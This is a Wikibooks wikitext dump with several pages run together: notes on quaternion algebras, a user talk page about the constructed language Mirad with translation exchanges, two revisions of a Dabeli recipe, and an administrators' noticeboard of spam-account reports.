basis <math>\{1,\,i,\,j,\,k\}</math> is associative and off-diagonal products are given by Hamilton's rules, then <math>i^2=-\!1=j^2=k^2</math>. '''Proof:''' :<math>j = ki = (-ji)i = -j(ii)</math>, so <math>i^2 = -1</math>. Cycle the letters <math>i</math>, <math>j</math>, <math>k</math> to obtain <math>i^2=-1=j^2=k^2</math>. Another hitch is the notion of isomorphism of algebras, which should include preserving the field ''F''. Here [[w:Leonard Dickson]] ventured to nullify the difference between the complex algebras ( ''F'' = '''C''' ) over the two basis groups Q₈ and D₄. He wrote in ''Linear Algebras''<ref>Leonard Dickson (1915) [https://archive.org/details/cu31924001557515/page/n25/mode/2up?q=quaternion Equivalence of complex quaternion and matric algebras], ''Linear Algebras'', page 15</ref> that the complex quaternion and matric algebras were equivalent. There is a real isomorphism between them, but that is not a complex isomorphism preserving the field. Nevertheless, Dickson was one of the first to acknowledge the existence of a four-dimensional, real subalgebra of M(2,'''C''') other than quaternions. So far algebras over a field have been described. When algebras over a [[Abstract Algebra/Rings|ring]] are considered, there are other "quaternion algebras". Clifford used split-binarions for scalars of his biquaternions, an algebra designated ''split-biquaternions''. Several authors use dual numbers as scalars, giving ''dual quaternions''. Another case abandons the Q₈ and D₄ convention for basis-element products. A quasigroup of order 8 and the real field give ''hyperbolic quaternions''. These three alternative algebras, using ''quaternion'' in their names, fall outside consideration of standard works using the presumption of an algebra over a field. == References == {{Reflist}} {{Subject|Abstract Algebra}} d6d0gmfi2mkhs5tgefz6axjs412fb99 3 128758 4670722 4669913 2026-09-17T22:56:01Z ~2026-45466-95 3622939 /* 10,000+ words */ 4670722 wikitext text/x-wiki Welcome, {{PAGENAME}}! {| style="background:white; border:1px solid #abd5f5;; padding:0px; border-spacing:0px;" ! style="background:#d0e5f5;" | [[Wikibooks:Welcome, newcomers|Getting started]] with Wikibooks |- | style="padding:5px;" | * Wikibooks is a collection of open-source textbooks. Find out [[WB:WIW|what this means]]. * To sign your name (on talk pages), use four tildes, like this: &#126;&#126;&#126;&#126; * For help in using the wiki, see the [[Help:Editing|editing guide]]. * Explore, [[Wikibooks:Be bold|be bold]], and have fun! |} Come introduce yourself at the [[WB:SLN|new users]] page. If you have any questions, you can ask there or contact me personally. [[User:Mattb112885|Mattb112885]] <small> ([[User talk:Mattb112885|talk to me]]) </small> 23:24, 19 July 2007 (UTC) ==Reviewer== {{tmbox|image=[[File:Wikibooks award.svg|50px]]|imageright = [[Image:Nuvola apps bookcase.svg|40px]]|text=<big>'''You have been automatically promoted to <u>''Reviewer!''</u>'''</big><br/> Your recent contributions mean that you have met the requirements to be automatically promoted to [[Wikibooks:Reviewer|Reviewer]]. If you have any questions about using the review functionality please ask in the [[Wikibooks:Reading room|Reading Room]]. Thanks and Congratulations! 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Sincerely, </div> [[User:RMaung (WMF)|RMaung (WMF)]] 17:02, 4 October 2019 (UTC) <!-- Message sent by User:RMaung (WMF)@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=CI2019List(other,act3)&oldid=19430537 --> == [[Mirad Version 2]] == Please respond to the question [[Talk:Mirad Version 2|on the book's talk page]]. The situation needs clarification. I pinged you there, but it seems the notification may have gotten misplaced. --[[User:Pi zero|Pi zero]] ([[User talk:Pi zero|discuss]] • [[Special:Contributions/Pi zero|contribs]]) 23:38, 21 June 2020 (UTC) == Mirad == Hi, how are you. I have just found your article about Mirad and I think it is very interesting. Do you speak the language? --[[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 08:33, 20 July 2022 (UTC) : Would it be possible for you to help me learn the language? --[[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 10:27, 22 July 2022 (UTC) ::Hi! I am trying to contact you, as you have stated in your User page (''If you are interested in Mirad, you can contact me on my discussion page and then we can exchange email addresses.''). I think I found you on LinkedIn and also sent you a message there. I have also sent you and email to Shoetack@... (which I think it is yours). However, I haven't received any answer neither here, nor on LinkedIn nor by email. I would like to learn Mirad and would like to ask for some pieces of advice. If you prefer not to be contacted please let me know. Kind regards [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 12:21, 1 August 2022 (UTC) ::: Hi, sorry to bother you again, I would like to ask you wheter [https://mirad.miraheze.org/wiki/Albanam this] and [https://mirad.miraheze.org/wiki/Mirad this] is correct? I have started a [https://mirad.miraheze.org/wiki/Main_Page wiki] in Mirad in order to practise the language while translating shorts texts. It would be great if you could help out there. --[[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 06:09, 2 August 2022 (UTC) ::::: The Czech Republic is now called ''Czechia'' and is translated as '''Cekyam''' in Mirad. ::::: When you want to say ''in Europe, in Paris, or in Czechia'', it is better to use the all-purpose locative preposition '''be''', such as '''be Europa'''....''in Europe''. The word '''yeb''' is an adverb meaning ''inside, in''. It takes a preposition like '''be'''....''at'', '''bi'''...''of'', or '''bu''' to make a prepositional phrase. For example: ::::::* '''Iyt se <u>yeb be</u> ha tam.'''....''She is <u>in/inside</u> the house.'' ::::::* '''At peye <u>yeb bu</u> ha dyesnexam.'''....''I am going <u>into (=inside to)</u> the library.'' ::::::* '''Yay yeyfe zoyper <u>yeb bi</u> ha om.'''....''We should come back <u>in from</u> the cold.'' ::::: The preposition '''be''' is used for general locative and idiomatic situations: ::::::* '''be ha domep'''....''on the street'' ::::::* '''be yaniv'''....''at a party'' ::::::* '''be bak ay be bok'''....''in health and in sickness'' ::::::* '''be abem bi ha tam'''....'' on top of the house'' ::::::* '''be yibsinibar'''....''on television'' ::::::* '''be 1983'''....''in 1983'' ::::::* '''be Meur'''....''on Mars'' ::::[[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 18:59, 17 August 2022 (UTC) :::::{{ping|Caro de Segeda}}, you may be interested in the reply. -<span style="background:yellow;">[[User:Slava Ukraini Heroyam Slava 123|🇺🇦<span style="color:blue;">Слава🇺🇦Україні</span>🇺🇦<span style="color:blue;">Героям🇺🇦Слава🇺🇦</span>]]([[User talk:Slava Ukraini Heroyam Slava 123|talk]])🇺🇦</span> 18:05, 3 September 2022 (UTC) ::::::Thanks for telling me, somehow I haven't got any notification about @[[User:Tyoyafud|Tyoyafud]]'s reply. ::::::@[[User:Tyoyafud|Tyoyafud]] thanks for your answer, if you would like to add texts to the wiki, please feel free to do so. Unfortunately, now I am quite busy and I don't know when I will be able to keep learning Mirad or helping out on the wiki. All the best. [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 19:06, 3 September 2022 (UTC) == Dundyes == Hay! Duhayen et se? I am writing just to inform you that these Asian countries don't have a translation on the dictionary: Azerbaijan, Bangladesh, Bhutan, East Timor, Kyrgyzstan, Maldives, Sri Lanka, Tajikistan, Turkmenistan, United Arab Emirates, Uzbekistan. Also, if the Dominican Republic is called "Dominikam", how is it called "Dominica" (another Caribbean country)? I have also created [https://mirad.miraheze.org/wiki/Yesu this] article. Hoy! --[[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 06:57, 4 August 2022 (UTC) :I will add these countries to the list. Thanks for noting their absence, plus the confusion with Dominican Republic. [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 16:55, 17 August 2022 (UTC) == Translation == Hi! Could you please translate this to Mirad? * Philosophy is the systematized study of general and fundamental questions, such as those about existence, reason, knowledge, values, mind, and language. * Hello, Jonathan! > Hay, Jonathan! (are names translated or they remain the same?) * Aristotle (384 BC – 7 March 322 BC) was a Greek philosopher. He was one of the most important philosophers in the history of Western civilization. He tutored Alexander the Great when Alexander was a child. Thanks for your help. --[[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 13:10, 18 September 2022 (UTC) :Textun se ha vyayabxwa tix bi zyasauna ay obyema didi, gel husi ayv esen, vyatex, ten, nazi, tep, ay dalzeyn. :Aristotelis (348 JK - 7 jiib 322 JK) sa Helena textut. It sa awat bi ha gwa tesaga textuti be ha ajdin bi umera dotyen. It tuuxa Aleksandros ha Agala haj hu Aleksandros sa tud. :This is the translation you requested. I have not decided how to handle foreign names, expect I think it would be best to stick to the original name of someone as close as possible, using whatever letters in Mirad reflect the pronunciation closest. Also, I may organize world country names to reflect the ISO standard. More about this later... [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 20:42, 29 September 2022 (UTC) ::Thank you so much for your translation. I have add the articles to the Wiki. ::Could you please translate this as well, whenever you have time? ::* First chapter ::* First May (1st May) ::* A man stands in a city. The man writes a journal. The man sees a city. ::* Does the man stand in a city? Yes, he stands in a city. ::* Does the man stand on... a man? No, he does not stand on a man. He stands in a city. ::Thanks for your help. [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 10:01, 1 October 2022 (UTC) :::::* Aa dyesgon (or: Anapa dyesgon) :::::* Aa jub bi Jiyob. :::::* Tob kyose be dom. Ha tob dre jubdyes. Ha tob tease dom. :::::* Duven ha tob kyose be dom? Va, it kyose be dom. :::::* Duven ha tob kyose ab...tob? Vo, it voy kyose ab tob. It kyose be dom. :::Better is English would be "A man IS STANDING in a city." (the progressive present tense = kyoseye). In either case, I think you may mean "The man LIVES or IS in a city."..... [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 17:27, 1 October 2022 (UTC) ::::Thanks for the translation. Yes, I meant "is standing", sorry. [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 18:16, 6 October 2022 (UTC) == New translation == Hi, how are you? Could you please translate this to Mirad? * Film directors, screenwriters and actors * Family and relationships * Business and economics * International organizations * War and military * Social issues * Alexander III of Macedon (Greek: Αλέξανδρος, Aléxandros; 20/21 July 356 BC – 10/11 June 323 BC) commonly known as Alexander the Great, was king of the Ancient Greek kingdom of Macedon from 336 BC until his death in 323 BC. He was one of the greatest military leaders of all time. He was born in 356 BC in Pella, the ancient capital of Macedonia. Thanks for your help. --[[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 15:55, 11 October 2022 (UTC) :::* Dyezebi, dyezdruti, ay dyezuti :::* Tod ay todati :::* Ebkyax ay dobnastun :::* Ebdooba xobi :::* Dropek ay dop :::* Dota soni :::* Aleksandros III bi Mikim (Elid: Αλέξανδρος, Alexandros; 20/21 jiyeb 356 JaK - 10/11 jiyab 323 JaK) yansanay trawa gel Aleksandros ha Agala, sa edeb bi ha Ajoba Geroma Edebam bi Mikim bi 336 JaK ju ita toj bi 323 JaK. It sa awat bi ha agala dopa debi bi hya job. It tija be 356 JaK be Pella, ha ajoba debdom bi Mikim. :[[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 21:03, 14 October 2022 (UTC) ::Thanks, could you please translate this? ::Does the man stand on a train? No, he does not stand on train. He stands in a city. The man stands in a city. ::Does the man write a journal? Yes, he writes a journal. ::Does the journal write the man? No, the journal does not write the man. A journal does not write. A man writes. The man writes the journal. ::Does the city see the man? No, the city does not see the man. A city does not see. A man sees. Does the man see the city? Yes, the man sees the city. ::Where is the man? He stands on a city. What does the man write? He writes a journal. What does the man see? He sees a city. He stands in a city, and he writes a journal, and he sees a city. ::Thank you. [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 13:22, 22 October 2022 (UTC) :::I'm glad you are interested in Mirad. Why don't you try to translate your sentences yourself? [[Mirad_Grammar|Mirad Grammar]] has all the information you need to do the job. You can use the Mirad-English dictionary at the end to find words and expressions. I must tell you that I don't have time to do the work for you. By the way, in English, we translate Sp. "estar" with "to be, is, are, am, etc.", not "stand". So we say "<u>Is</u> the man on a train? He <u>is</u> in a city, etc." So, in Mirad, the former sentence would be '''Duven ha tob <u>se</u> be bixpur?''' [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 17:42, 23 October 2022 (UTC) ::::Hi, just to let you know, I have moved all the articles from the Mirad Wiki [https://plu-artificia-lingua.fandom.com/wiki/Category:Mirad here]. That wiki we created is going to be deleted so, in order to keep those articles, I have put them in the other one. [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 09:08, 27 April 2023 (UTC) == Mirad == Hi, how are you? I have just found about your language and I wanted to ask you whether it is related to Kotava in any way and what is your opinion on Kotava compared to Mirad. Thanks. --[[User:Jon Gua|Jon Gua]] ([[User talk:Jon Gua|discuss]] • [[Special:Contributions/Jon Gua|contribs]]) 08:49, 16 March 2024 (UTC) :Kotava has no relationship to Mirad. I like Kotava as an attractive language, but the vocabulary is completely random. All the words in Mirad relate to one another schematically, a bit like how a thesaurus groups words and their opposites. Once you learn '''zia''' (right), you automatically know '''zua''' (left) because the stem vowels are opposite. This saves a lot of studying. All words having to do with books, such as "library", "reader", "bookbinder", and "literate" contain the root "dye-" meaning "read". [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 14:57, 19 March 2024 (UTC) ::Thank you for your answer. Do you have any suggestions on how to learn the language? [[User:Jon Gua|Jon Gua]] ([[User talk:Jon Gua|discuss]] • [[Special:Contributions/Jon Gua|contribs]]) 15:16, 3 June 2024 (UTC) :::In the book "Mirad Grammar", there are some lessons toward the end with mini-quizzes. It would help to learn the language by starting there. I will be adding lessons as I find the time. But just these few lessons will give you and idea how the language works and you can then study the grammar. [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 20:48, 5 June 2024 (UTC) ==[[:Hay, Jonathan!]]== {{tmbox|type=delete|text='''Tyoyafud, please [[Wikibooks:Requests for deletion#Salute, Jonathan! and its translations|share your thoughts]] about whether to [[WB:WIW|keep]] or [[WB:DP|delete]] "[[:Hay, Jonathan!|Hay, Jonathan!]]".'''<br />You are being notified because you have contributed to this work. [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 10:48, 29 June 2025 (UTC)}} == interested in Mirad!!! == I found this out from the Wikipedia page for conlangs and would LOVE to exchange emails to discuss this more with you. also I for sci-fi purposes I think ''terira'' could work as a word for robot, it depends on the setting but a sapient android or robot would fit being called a thinking machine I'd imagine. [[User:Unluckyeight|Unluckyeight]] ([[User talk:Unluckyeight|discuss]] • [[Special:Contributions/Unluckyeight|contribs]]) 03:18, 25 May 2026 (UTC) :Better yet: '''texir''' (a thinking machine). Thanks! [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 18:22, 2 June 2026 (UTC) == 10,000+ words == Hey Jamie, I have added your Mirad to the FrathWiki article "Conlangs with over 10,000 words" Check it out! Mirad appears to have the largest lexicon of any known conlang. Congratulations! [[Special:Contributions/&#126;2026-45466-95|&#126;2026-45466-95]] ([[User talk:&#126;2026-45466-95|talk]]) 23:11, 20 August 2026 (UTC) :The vocabulary of Mirad has now reached 150K word/expression pairings. I suspect, though, that Esperanto has the most glossed entries (judging from Wiktionary). [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 15:28, 10 September 2026 (UTC) ::Hmmm, when I type in an asterisk at your Mirad dictionary search page, I get only 149,182 results. Also, Esperanto has only 77,000 canon lemmata, according to the FrathWiki list. [[Special:Contributions/~2026-45466-95|~2026-45466-95]] ([[User talk:~2026-45466-95|talk]]) 07:09, 12 September 2026 (UTC) :::You're correct on that total. I think I was going by the copy of the dictionary I am editing on my desktop, which has not be uploaded to the site. [[User:Tyoyafud|Tyoyafud]] ([[User talk:Tyoyafud|discuss]] • [[Special:Contributions/Tyoyafud|contribs]]) 16:54, 13 September 2026 (UTC) ::::BTW, what is the lexicon size of UnIlingua? [[Special:Contributions/~2026-45466-95|~2026-45466-95]] ([[User talk:~2026-45466-95|talk]]) 22:56, 17 September 2026 (UTC) lytoi336oaf5r4mtompfy7p89b7jbvx 102 134771 4670879 4508187 2026-09-18T08:16:58Z Jethwarp 375107 add image 4670879 wikitext text/x-wiki __NOTOC__{{Recipe summary | Servings = 2–3 | Difficulty = 3 | Image = [[File:Daabeli.JPG|300px]] }} {{recipe}} '''Dabeli''' is an Indian dish, originally from the region Kutch in Gujarat. Dabeli is now a common street food in Mumbai. It is also called double roti or kutchi dabeli. ==Ingredients== ===Filling=== * 1 [[Cookbook:Tablespoon|tablespoon]] [[Cookbook:Oil and Fat|oil]] * 1 [[Cookbook:Pinch|pinch]] of [[Cookbook:Asafoetida|asafoetida]] powder * 2 [[Cookbook:Teaspoon|teaspoons]] [[Cookbook:Dabeli Masala|dabeli masala]] * 2 medium-sized [[Cookbook:Potato|potatoes]], boiled and mashed * [[Cookbook:Salt|Salt]] * Water * Green [[Cookbook:Chiles|chiles]] (optional), finely [[Cookbook:Chopping|chopped]] * 2 tablespoons [[Cookbook:Peanut|peanuts]], roasted ===Assembly=== * 5–6 ladi-pav or burger buns * [[Cookbook:Butter|Butter]] * 1 [[Cookbook:Onion|onion]], finely chopped * ¼ cup [[Cookbook:Sev|sev]] * [[Cookbook:Garlic|Garlic]] [[Cookbook:Chutney|chutney]] (optional) * [[Cookbook:Tamarind|Tamarind]] [[Cookbook:Date|date]] chutney === Garnish === * Finely-chopped [[Cookbook:Cilantro|cilantro]] * 1 handful of [[Cookbook:Pomegranate|pomegranate]] seeds (optional) * Roasted [[Cookbook:Peanut|peanuts]] == Procedure == === Filling === # Heat oil in a pan. Add asafoetida, dabeli masala, potatoes, salt to taste, and a sprinkle of water. Mix it very well so that masala, salt and boiled potato assimilate very well. # Mix in the green chiles if using. # Remove potato mixture from the heat, and taste. If you want to make it more spicy, add some more dabeli masala, and mix again using your hands or a masher. Toss in the roasted peanuts and mix everything well. === Assembly === # [[Cookbook:Slicing|Slice]] pav/bun into halves, and toast them with a little butter on a [[Cookbook:Griddle|griddle]]. # Apply garlic chutney to one half of the bun (inner side) and tamarind-date chutney to the other half. # Place a portion of the potato filling in between between the bun halves. === Garnish === # Top with chopped onion, coriander, and sev. #Press down the bun from both side, and garnish with pomegranate seeds, and roasted peanuts. #Serve immediately, while medium-hot, with a extra dip of chutney on the plate. Fried green chillies, with a sprinkle of salt can be additionally given as an add-on. [[Category:Indian recipes]] [[Category:Recipes using asafoetida]] [[Category:Recipes using butter]] [[Category:Recipes using chile]] [[Category:Recipes using cilantro]] [[Category:Recipes using dabeli masala]] 0r2gly9ui8336mzmv26wsgu3asn6x8s 4670882 4670879 2026-09-18T08:28:05Z Jethwarp 375107 /* Assembly */ Garlic chutney is one of important part of recipe 4670882 wikitext text/x-wiki __NOTOC__{{Recipe summary | Servings = 2–3 | Difficulty = 3 | Image = [[File:Daabeli.JPG|300px]] }} {{recipe}} '''Dabeli''' is an Indian dish, originally from the region Kutch in Gujarat. Dabeli is now a common street food in Mumbai. It is also called double roti or kutchi dabeli. ==Ingredients== ===Filling=== * 1 [[Cookbook:Tablespoon|tablespoon]] [[Cookbook:Oil and Fat|oil]] * 1 [[Cookbook:Pinch|pinch]] of [[Cookbook:Asafoetida|asafoetida]] powder * 2 [[Cookbook:Teaspoon|teaspoons]] [[Cookbook:Dabeli Masala|dabeli masala]] * 2 medium-sized [[Cookbook:Potato|potatoes]], boiled and mashed * [[Cookbook:Salt|Salt]] * Water * Green [[Cookbook:Chiles|chiles]] (optional), finely [[Cookbook:Chopping|chopped]] * 2 tablespoons [[Cookbook:Peanut|peanuts]], roasted ===Assembly=== * 5–6 ladi-pav or burger buns * [[Cookbook:Butter|Butter]] * 1 [[Cookbook:Onion|onion]], finely chopped * ¼ cup [[Cookbook:Sev|sev]] * [[Cookbook:Garlic|Garlic]] [[Cookbook:Chutney|chutney]] * [[Cookbook:Tamarind|Tamarind]] [[Cookbook:Date|date]] chutney === Garnish === * Finely-chopped [[Cookbook:Cilantro|cilantro]] * 1 handful of [[Cookbook:Pomegranate|pomegranate]] seeds (optional) * Roasted [[Cookbook:Peanut|peanuts]] == Procedure == === Filling === # Heat oil in a pan. Add asafoetida, dabeli masala, potatoes, salt to taste, and a sprinkle of water. Mix it very well so that masala, salt and boiled potato assimilate very well. # Mix in the green chiles if using. # Remove potato mixture from the heat, and taste. If you want to make it more spicy, add some more dabeli masala, and mix again using your hands or a masher. Toss in the roasted peanuts and mix everything well. === Assembly === # [[Cookbook:Slicing|Slice]] pav/bun into halves, and toast them with a little butter on a [[Cookbook:Griddle|griddle]]. # Apply garlic chutney to one half of the bun (inner side) and tamarind-date chutney to the other half. # Place a portion of the potato filling in between between the bun halves. === Garnish === # Top with chopped onion, coriander, and sev. #Press down the bun from both side, and garnish with pomegranate seeds, and roasted peanuts. #Serve immediately, while medium-hot, with a extra dip of chutney on the plate. Fried green chillies, with a sprinkle of salt can be additionally given as an add-on. [[Category:Indian recipes]] [[Category:Recipes using asafoetida]] [[Category:Recipes using butter]] [[Category:Recipes using chile]] [[Category:Recipes using cilantro]] [[Category:Recipes using dabeli masala]] jnnbh8dh6i43fffnskq897jiyllgzu4 4 140081 4670631 4670397 2026-09-17T13:02:13Z MathXplore 3097823 Reporting BhardwajGardening 4670631 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. 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[[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> 